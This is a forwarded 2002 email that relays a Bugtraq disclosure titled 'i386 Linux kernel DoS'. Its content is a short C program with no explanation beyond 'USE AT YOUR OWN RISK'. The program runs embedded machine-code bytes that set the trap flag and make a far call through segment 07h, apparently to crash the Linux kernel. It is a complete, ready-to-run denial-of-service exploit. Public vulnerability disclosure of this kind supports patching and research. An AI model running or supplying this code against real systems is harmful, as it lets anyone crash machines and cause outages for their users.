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From
SubjectFW: i386 Linux kernel DoS
Date
This was posted on bugtraq today...


-----Original Message-----
From: Christophe Devine
Sent: Monday, November 11, 2002 11:26 AM
To: bugtraq@securityfocus.com
Subject: i386 Linux kernel DoS

/* USE AT YOUR OWN RISK ! */

int main( void )
{
char dos[] = "\x9C" /* pushfd */
"\x58" /* pop eax */
"\x0D\x00\x01\x00\x00" /* or eax,100h */
"\x50" /* push eax */
"\x9D" /* popfd */
"\x9A\x00\x00\x00\x00\x07\x00"; /* call 07h:00h */

void (* f)( void );

f = (void *) dos; (* f)();

return 1;
}
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